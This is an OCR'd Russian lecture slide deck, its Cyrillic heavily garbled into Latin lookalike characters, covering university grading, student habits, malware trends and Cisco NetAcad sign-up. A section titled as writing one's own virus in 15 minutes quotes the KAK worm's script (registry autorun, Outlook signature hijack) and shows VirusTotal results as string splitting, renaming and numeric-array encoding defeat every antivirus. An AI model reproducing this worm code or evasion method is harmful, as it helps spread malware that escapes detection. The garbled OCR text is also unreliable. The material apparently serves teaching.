Yem oby4yeHme B By3 OTNMYATCA OT LLKOIbI

banbHO-penTMHroBas cucrtema.

2 ceccuu — 3a4eThbl (61 6an) Ak3ameHsbl (>= 61 6an). banbl BbiICTaBNAOTCA B
KOHTPOJIbHYIO Hegero.

3a npaBusibHOe N CBOeBpPeMeHHOe 3anosfiHeHne BeOMOCTH
npenopaBaTenisMm oTBevyaeT CTapocTa.

Y npenogaBaTtenien HeT YeTKUX NpaBul 3a YTO CKOJNbKO 6aroB CTaBUTb.
Oco6eHHO ecnu NnekKunn YMTaeT OAuH npenoaaBaTesib, a NPakTUKU BegeT
Apyromw.

MMXO Bo MHOrnx cny4yasix 6ecrnone3Ho BbISICHATbL BCEU rpynrnou 3a 4YTo
CKONbKO 6anoB cTaBUT nNpenogaBaTtesib. JTO AOJIKEH AenaTtb cTapocTa.
OoHuM 13 BaxHbIX Bawux gesHUM HanpaBneHHbIX Ha 3apabaTbiBaHue
0anoB ABMNAEeTCA NoceLaemMocCTb.

NMonyumB cBOM Oarbl B KOHTPONbHYIO HeAesno O OropyUBLLUUCHL — BbISICHUTE Y
npenogaBaTesisd NPUYMHY Ballero HU3Koro 6asna camocTosiTesribHO.
OKoHYaTenbHas oueHKa BbICTaBNAETCA Ha 3K3aMeHax (3adeTtax). [lonyck K
J3K3amMeHy (3adeTy — 35 6anoBs).

CtapocTtam nocrne 1 KOHTPONbLHOU Hegenu o0 bLACHUTL PoaAUTENAM KaK UM



IT - N3MEHYMBOCTbL CPENBI OBUTAHNS

Gaming

Sony’s PlayStation 4 will debut with 1.84 teraflops of raw
computing power, 150 times the power of IBM's 1997
chess-grandmaster-beating Deep Blue.

The most

powerful in
1988

In the top five

Apple

PlayStation 4 Deep Blue J'Pﬂ'd 2z i n 1 994

Sony IBM

The iPhone 4 has four times as much processing power as
NASA’s Curiosity Mars Rover.

$17M

Cray 2 Supercomputer in 1985
1.9 gigaflops.

$300
iPhone 5in 2013
27 gigaflops. Apple NASA's

iPhone 4 Curiosity Mars Rover




HekoTopble BbiCKa3biBaHUA NpenogaBaTenen o cTyaeHTax
IT-LUHUKAX:

CTPeMZTCHA K MTHOBEHHOMY (NOBEPXHOCTHOMY) YAOBMNETBOPEHNIO NHAOPMALIMOHHbIX
notpebHocTew;

dKTUBHO UCNOJ1b3YHOT AJ14 3TOINo BCE AOCTYIHbIE B OAHHbIN MOMEHT yCTpOVICTBa;

HE MOryT 06BbACHUTL NPUHLUMN PaboTbl 3TUX YCTPOWNCTB, opraHm3aumm MiHTtepHera,
ANEeKTPOHHOM NOYThI, COLManbHbIX CETEN, MOMCKa MHbopMaLumn U T.4. U T.N.

MCKPEHHE CYMUTAalOT NO3HaBaTENbHOM AeATENbHOCTBHO MOBEPXHOCTHLIN MOMCK 1 cbop
NHpopMaLMn, UMeoLLEN (MO NX MHEHWIO) OTHOLLIEHNE K M3y4aeMOMY BOMpPOCY.

BHE y4eObl BUOAT B IHTEpHETE TONBKO KOMMYHUKALIMOHHYO TEXHONOTMI0, BOCMOMHSAIOLLYIO
nednumnT obLLEHUSA NNKW CO3aatoLLLYI0 ero UNJi3unio.

CTPEMSATCS MOMYYMTb FOTOBbIE PELUEHNSA M JONYCKAOT X MCMOMb30BaHME — OT OTAENbHbIX
3a/1a4 U COMMHEHUIN 0 KYPCOBbLIX M ANMNITOMHbIX paboT 1 Janee Ao guccepTrauumn.

YacTto yAoBJ1ETBOPAKTCA NOBEPXHOCTHBIM MNMpeactaBiieHnem o noodom BOripoce, rnoJiydeHHom
N3 nepsoun BCTpPE4YHOU CCbIJTKN UTTU (B nyyquiem cnyqae) Buknneguu.

PaHo yTpa4yMBaloT eCTeCTBEHHYIO N0O03HATENbHOCTb.
McnbITbiBaOT 3aTPYAHEHUS C U3yYeHneM o0beMHOro TEKCTOBOIo MaTepuana.
He xoTaT HanpsaraTb naMaThb.

He BnonHe camMoCcToATESbHbI (POAUTENN NbITAOTCA peLlaTb Npobnembl gaxe
CTapLUEKypPCHUKOB).



TeHaeHUUMM B MUpe malware
OT cnaBbl — K A€Hbram




CBOW BMPYC 3A 15 MUHYT

Kak caenatb Zero-Day...

Virus samples on this page are real viruses!

Click on any of the links below to view actual virus source code. These are stored as plain text files and so will not cause any
problems when viewed using your web browser, or notepad. However, snce most of these are actual unmodified viruses, your
virus scanner will complain. If you leave them as TXT (text) files, they will rot cause any problems. The links on the left ere to
' sanitized HTML files - you'll be able to see the virus code, but your virus scanner should not complain.

EE- |Avoiding Viruses - This artice explains 10 ways to cut down on viruses
We have only included source code for a small fraction of the viruses out in the wild to show you how easy it is to write one.
Making public the source for viruses, will not make any impact to the huge number of viruses out there - virus writers are aware
7 of the loop-holes and procedures used by these viruses anyway.

html.rediof.a (vbs, decoded)
MyDoom. A (C source code)
Bagle.AD worm {assembler source code)
AnnaKournikova

cih {assembler source code)
homepage (vbs)

iloveyou (vbs)

tune {vbs)

melissa

Wa7MMarker.C

JS/Seeker.B (original)
VBSWG-AQ (original)
mawanella (original)
QUTLOOK.PDFWorm ‘vbs/pdf)
others...




IcXOoOHbIN TEKCT

[EFl view kak.htm - Far

<DIV style=3D"POSITION: absolute; RIGHT: Opx; TOP: -20px; Z-INDEX: 5">

<OBJECT classid=3Dc1si1d:06290BD5-48AA-11D2-8432-006008C3FBFC=20
1d=3Dscr></0OBJECT></DIV><SCRIPT><! -~

function serr(Q{return

true;}window.onerror=sgrr;scr.Reset() ;scr.doc="Z<HTML><HEAD><TITLE>Driver

Memory Error</"+"TITLE><HTA:APPLICATION ID=\"ho\"
WINDOWSTATE=Minimize></"+"HEAD><BODY BGCOLOR=#CCCCCC><object id="wsh'
classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B '></"+"object><SCRIPT>function
ser({self.close();return true;}window.onerror=stEr;fs=new
ActiveXObject('Scripting.FileSystemObject') ;wd="C:\\\\Windows\\\\';f1=Fs.GetFolde
r(wd+"'Applic~1\\\\Identities"') ;sbf=f1.SubFolders;for(var

mye=new Enumerator (sbf);!mye.atEnd() ;mye.moveNext())idd=mye.item() ;ids=new
String(idd) ;idn=ids.slice(31);fic=idn.substring(l1,9) ;kfr=wd+ 'MENUDW~1\\\\PROGRA~1
\\\\DMMARR~1\\\\kak.hta';ken=wd+ ' 'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=w
d+'System\\\\ '+fic+'.hta’' ;kk=(fs.FileExists (kfr))?kfr:ken;aek="C:\\\\AE.KAK' ;aeb=
"C:\\\\Autoexec.bat';if(!fs.FileExists (aek)){re=/kak.hta/1;if(hOo.commandLine.sear
ch(re)!=-1){fl=fs.GetFile(aeb) ;fl.Copy(aek) ;tl=Ff1l.0penAsTextStream(8) ; pth=(kk==kf
r)?wd+ 'MENUD_~1\\\\PROGRA~1I\\\\D_MARR~1\\\\kak.hta':ken;tl.wWriteLine( '@echo
off>"+pth);tl.writeLine('del
"+pth);tl.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attr
ibutes=2;}t2=fs.CreateTextFile(wd+ ' 'kak.reg"');t2.write('REGEDIT4"');t2.WriteBlankL1
nes (2) ;ky="[HKEY

CURRENT USER\\\\Identities\\\\ '+idn+'\\\\Software\\\\Microsoft\\\\outlook
Express\\\\5.0"';sg="\\\\signatures';t2.WriteLine(ky+sg+'] ') ;t2.write('\"Default
Signature\"=\"00000000\"");t2.wWriteBlankLines(2);t2.writeLine(ky+sg+"\\\\00000000
1');:;t2.WriteLine('\"name\"=\"Signature
#1\""');t2.writeLine('\"type\"=dword:00000002");t2.writeLine( "\ "text\"=\"\"");t2.w
rite("\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\""');t2.writeBlankLines(2);t2.wr
iteLine(ky+']");;t2.write('\"Signature
Flags\"=dword:00000003"');t2.writeBlankLines(2);t2.writeLine(' [HKEY LOCAL
MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\Currentversion\\\\Run] ') :;t2.write(
"\"cAgOu\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\ "+fic+"'.hta\""');t2.writeBlank
Lines(2);t2.close() ;wsh.Run(wd+'Regedit.exe

-5




Anfivirus Version Last Update Resuit

xopOLLIO M3BeCTHb|M 2hnlzb-V3 2008.1.5.10 200E£.01.04 -
BUPYC, NPOBEPEHLIN B

AntiVir 7.6.0.46 2008.01.04 HEUR/Exploit.BI¥
Zuthentium £.93.8 2008.01.04 -

V| I’USTOta| Zvast 4.7.1098.0  2008.01.04 VBS:Kak-2

e 7.5.0.516 2008.01.04 J5/Kakfm
BitDefender 7.2 2008.01.04 JS5.Kakworm.2
CAT-QuickHeal 9.00 2008.01.04 -

ClamAV 0.91.2 2008.01.04 Mid.Kakworm-Z

Q08.01.04 modification of WScript.Kak

Luar 1a: 01.03 VBS.Kz=K

01.04 -

Hasante, nonpobyem pasgenutb 4NNHHbIE 01.04 Not-A-Virus.Explott.HTML.Security.3
CTPOKMW Ha 4acTu... i

. ¥ " e ¥ 01.04 JS/Kakworm.R
(“string” = “str'+"ing”) 01.04 Beuristic-32

01.04 Email-Worm.VBS.KakWorm.ab

01.04 -

Kaspersky 7.0.0.125 2008.01.04 Email-Worm.VBS.KakWorm.ab
Mcafee 5200 2002.01.04 JS/K=kx@M
Mjrpnantr 1 2100 20N2 N1 Na —

Memory Error</"+"TITLE><HTA APPLICATION ID-\"ho\"

» "ose() return true; }w1ndow onerror=skgr; fs=new
Act1vexobject( 5cr1pt1ng F11eSystemObJect );wd="C: \\\\W1n +"dows\\\\';f1=fs.GetFolde
r(wd+'AppTlic~I\\\\Identities'):shf=f].: 5ubF01ders for(var

Z2008.01.08 -
TheHacker €.2.9.180 2008.01.04 JS/Kax@M.worm.html
VBA32 3.12.2.5 2008.01.02 -
VirusBuster 4.3.26:39 20028.01.04 -

Webwasher-Gateway &.6.2 2008.01.04 Eeuristic.Explcit. HTML




Antivirus Version Last Update

Bupyc ¢ P N
«pasgeneHHbIMm» e B _

CTpoKamun Obin — — vy
ODHapyXeH Tonbko 16 Bichesendes == =
aHTVIBMpYCaMU = T

eTrust-Vet = — =

Ewido = - =

Lar 1b: o

[Tonpobyem BbINOMHUTE MOUCK U 3aMeHy NOACTPOKM “Kak™ Ha
YTO-TO Apyroe, Hanpumep, “stuff”

-Worm.VBS.KakWorm.ab

2Spersk 521 l-Worm.VBS.KakWorm.ab

"\"cAgOu\"=\"¢C: \\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\ +fic+'.hta\""');t2.writeBlank
Lines(2);t2.close();wsh.Run(wd+'Regedit.exe

"+wd+{stuff. reg ); 1t3=fs.CreateTextFile(wd{’ stuff. htm'51);t3.Wr1te('<HTML><BODY><DIV
style=\"POSITION:absolute;RIGHT:0px;TOP:-2 K:5\"><0BJECT

classid=c1s1d:06290BD5- 48AA 11D2-8432- 006008C3FBFC
id=scr></"+"OBIECT></"+"DIV>"); t4=fs. 0penTextF11e(k2 1) wh11e(t4 Read(1)!

Sunbelt

Symantec - - WScript.KakWorm
TheHacker == - =

VBA32 = = =

VirusBuster = - -

Webwasher-Gateway - - Heuristic.Expleit.HTML



Antivirus Version Last Update

Octanocb 9, npu4yem HU 04UH

AhnLab-V3 2008.1.5.10  2008.01.04
N3 HAX He ono3Han AntiVir 7.6.0.46 2008.01.04 -

- Authentium 4.93.8 2008.01.04 -
OpmrMHaanbudBMpyC Avast 4.7.1098.0  2008.01.04 -
(kak_Worm) AVG 7.5.0.516 2008.01.04 -

BitDefender 7.2 2008.01.04 -
CAT-QuickEeal 3.00 2008.01.04 -

ClamaV 0.91.2 2008.01.04 J5.Small
Drieb 4.44.0.09170 2008.01.04 VBS.Esyme.377
eSafe 7.0.15.0 2008.01.03 -

eTrust-Vet 31.3.5430 2008.01.04 -

Ewido 4.0 2008.01.04 -

Lar 3:

HakoHel, gaeanTe nNonpobyem UCnonb3oBaTb
pacnpocTpaHeHHyto PyHKUMIO KOAMPOBaHNA 1 3aKOAMPYEM Hall |
CKpUNT, MOMECTUB PYHKLIMIO PacKkoaMPOBaHMA B €ro Hadarno A e

nka

pit.BIML.SecurityBreach.3

var myNum = new Array
(174,170,200,213, 165,233,238,233,230,215, 193,181,203, 164,212 ,196,222,194,225,211, 227,
213,196,159, 239,229,259,262,257,263,268,243,212,165,233,233,230,224,241,207,186,194,2
13,282,230, 199,248,227 247,212,206, 212 225,217 ,282,285,235,189,267,221,258,252,251,23
7,270,229,223,245,229,249,201,241,268,238,274,264,271,276,230,280,303,278,316, 314,314
,298,268,243,278,293, 320, 327, 320, 308,270,253, 268, 253,277,270,291, 285,279, 256,278, 267,
291,297,273,271,280,289,280,264,292,284,293,280,279,271, 288,275,294,296, 308, 305,299, 2
98,315,304, 315,317,303,301, 263,351, 354,297,310, 325,376,361, 374,311, 325,292, 344,331, 35
Z; 335 335 336 336 316 324 340 359 362 338 328 395 360 399 392 402 394 317 384 378 384

--‘ 14- --- ‘-- --- --- --a ld- --- a-- --- .¢- --- --- ---

TheHacker €.2.9.180 200\.,.01 04
VBR32 3.32.2°5 2008.01.02 Trojan-Downloader.JS.Psyme.cv
VirusBuster 4.3.26:9 2008.01.04 -

Webwasher-Gateway 6.6.2 2008.01.04 -



Antivirus
AhnLab-V3
AntiVir
Ruthentium
Avast

AVGE
BitDefender
CAT-QuickHeal
ClamaV
Driveb

eSafe

Microsoft
NOD32v2
Norman
Panda
Prevxl
Rising
Sophos
Sunbelt
Symantec
TheHacker
VBA32
VirusBuster

Webwasher-Gateway

Version

2008.1.5.10
.6.0.46
.93.8
.7.1098.0
.5.0.516

-
4

4

7
7.2
9.00

0.91.2
4.44.0.09170
7

.0.15.0

[Neno caenaHo

Mbl NONHOCTBLIO 000N BO3MOKHOCTHU

pacnpocTpaHeHHbIX aHTUBUPYCOB MO
obHapy’KeHUIO 3NOBPEAHOro Koaa

2766
5.80.02
9.0.0.4
V2
20.25.42.00
4.24.0
2.2.907.0
10
6.2.9.180
3.12.2.5
4.3.26:9
6.6.2

2008.

2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.
2008.

0l.
0l.
0l.
0l.
0l.
0l.
01.
01.
0l.
01.
0l.
0l.
01.
01.
0l.
01.
0l1.
01.
01.
01.
01.
01.
0l.
0l1.
0l.
0l.
0l.
0l.
01.
0l.

04
04
04
04
04
04
04
04
03
04
04
04
04
04
04
04
04
04
04
04
04
04
04
04
04
04
04
02
04
04



[loaroToBKa K Kypcy

* BbibpaTb 04HOPa30BbIN NapPornb

* 3aUTU Ha caunT http://cisco.netacad.com

* BoibpaTb Redeem Seat Token

» 3aperncTpnpoBaThbCs C NpaBuIibHbIM JIOTMHOM MapOoSIEM.
 JlIorH — no anrn. ®amunua N O

e [Taponb npaBunbHbIn. [Npnmep npaBuUrbHOro napons P@SSword

* (3arnaBHble 1 NPOMUCHbIEe OYKBbI, LMdPbI N CNELLCMMBOSIbI (He
MeHbLLEe 8 3HAaKOB)

*[laponb v noruH gepxatb B ronose. MoXXHO cnpATaTh B
TenedoHe &




